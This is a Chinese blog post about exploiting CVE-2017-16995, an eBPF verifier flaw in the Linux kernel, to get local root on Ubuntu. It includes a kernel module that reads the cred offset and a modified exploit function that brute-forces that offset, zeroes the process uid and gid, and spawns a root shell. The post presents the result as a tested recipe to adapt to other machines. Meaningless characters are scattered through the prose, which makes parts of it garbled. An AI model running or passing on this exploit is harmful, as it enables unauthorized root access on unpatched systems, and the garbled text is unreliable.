title: CVE-2017-16995
date: 2018-03-21 02:02:35
tags: linux-kernel-exploits
Ubuntu本地提權(quán)攻擊預(yù)警
漏洞描述
該漏洞存在于帶有 eBPF bpf(2)系統(tǒng)(CONFIG_BPF_SYSCALL)編譯支持的Linux內(nèi)核中姐刁,是一個(gè)內(nèi)存任意讀寫漏洞吏恭。該漏洞是由于eBPF
驗(yàn)證模塊的計(jì)算錯(cuò)誤產(chǎn)生的薛躬。普通用戶可以構(gòu)造特殊的BPF來觸發(fā)該漏洞助赞,此外惡意攻擊者也可以使用該漏洞來進(jìn)行本地提權(quán)操作憎茂。
POC
原作者exp此處可下載(可能需要梯子标锄,這里copy了一份)片林,然而直接運(yùn)行员淫,很多機(jī)器是無法提權(quán)成功的合蔽。
源代碼注釋頭有說到:
if different kernel adjust CRED offset + check kernel stack size
針對這個(gè)魔鬼數(shù)字:CRED_OFFSET=0x5f8
這篇文章也說明了真相:
cred結(jié)構(gòu)體的偏移量可能因?yàn)閮?nèi)核版本不同、內(nèi)核編譯選項(xiàng)不同而出現(xiàn)差異介返,作者給的exp偏移量是寫死的
此文作者也給出了一種應(yīng)對之策:
獲取cred offset常量(一)
通過以下方法可獲取這個(gè)cred offset
:
1拴事、getCredOffset.c
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/errno.h>
#include <linux/types.h>
int init_module()
{
printk("[!]current cred offset:%x\n",(unsigned long)&(current->cred)-(unsigned long)current);
return 0;
}
void cleanup_module()
{
printk("module cleanup\n");
}
2、Makefile
obj-m += getCredOffset.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
3圣蝎、編譯
make
4刃宵、執(zhí)行
sudo insmod getCredOffset.ko
該命令需要有sudo權(quán)限的用戶執(zhí)行,通過insmod
命令將getCredOffset
模塊注入內(nèi)核
5徘公、獲取cred offset
dmesg | grep "cred offset"
另開一個(gè)命令行執(zhí)行該命令即可獲取到cred offset
牲证,最后替換掉原exp
中的偏移量
即可成功提權(quán)。
然而关面,雖提權(quán)成功了从隆,但此法有點(diǎn)怪異,本來想普通用戶提權(quán)缭裆,但卻需要用root用戶執(zhí)行命令來協(xié)助,有點(diǎn)力不從心寿烟。
那么問題又來了澈驼,該如何在不同的機(jī)器上動態(tài)獲取這個(gè)cred offset
呢?
獲取cred offset常量——暴力嘗試
經(jīng)過上文作者的點(diǎn)撥:
這個(gè)漏洞是個(gè)任意地址讀寫漏洞筛武,所以也可以在確定task_struct地址之后缝其,以當(dāng)前用戶的uid為特征去搜索內(nèi)存,畢竟cred離task_struct不遠(yuǎn)徘六。
加上代碼中有多處__read
命令内边,以及getuid()
命令,這兩個(gè)命令都可以讀取uid
待锈。
首先想到的是在往uidptr
對應(yīng)的地址中寫0
之前獲取此時(shí)的uid
值漠其,通過以上兩種方式對比看有什么差異:
printf("uidptr = %lx\n", uidptr);
uid_get=getuid();
uid_read=__read(uidptr);
printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
果然如下圖所示:
那么規(guī)律來了,我們可以嘗試以不同的
cred offset
來獲取兩個(gè)uid
來進(jìn)行對比,一旦對比上和屎,姑且就當(dāng)做找到了這個(gè)“確定”的值拴驮,然后再去write(0)
。修改pwn
函數(shù)如下:
static void pwn(uint64_t credoffset) {
uint64_t fp, sp, ts, credadd, credptr, uidptr, uid_get, uid_read;
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
ts = __read(sp);
if (ts < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", ts);
uid_get=getuid();
for(credoffset=0x400;credoffset<0x800;credoffset++){
credadd=ts + credoffset;
printf("credadd = %lx\n", credadd);
credptr = __read(credadd); // cred
printf("credptr = %lx\n", credptr);
if (credptr < PHYS_OFFSET){
continue;
}
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET){
continue;
}
printf("uidptr = %lx\n", uidptr);
uid_read=__read(uidptr);
printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
if((uid_read&0xffffffff)==uid_get){
printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
__write(uidptr, 0); // set both uid and gid to 0
printf("cred_offset = %lx\n", credoffset);
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
printf("failed\n");
break;
}
}
}
想到原作者Vitaly Nikolenko
給的CRED_OFFSET=0x5f8
柴信,我這邊通過rebeyond
這里給出的方法獲取的是0x670
套啤,猜測這個(gè)值應(yīng)該范圍不大,嘗試了一下用0x400~0x800
爆破随常,很不幸潜沦,第一次嘗試失敗,被系統(tǒng)給killed掉啦:
調(diào)整一下范圍:0x500~0x800绪氛,ok 搞定唆鸡!
不同機(jī)器此CRED_OFFSET偏移量可能還有差異,可以
視情況稍微調(diào)整一下范圍
钞楼,試出結(jié)果應(yīng)該不難喇闸。
最后來體驗(yàn)一把提權(quán)后帶來的快感,root用戶想干嘛干嘛询件,如圖:
完整代碼見這里燃乍。
參考鏈接: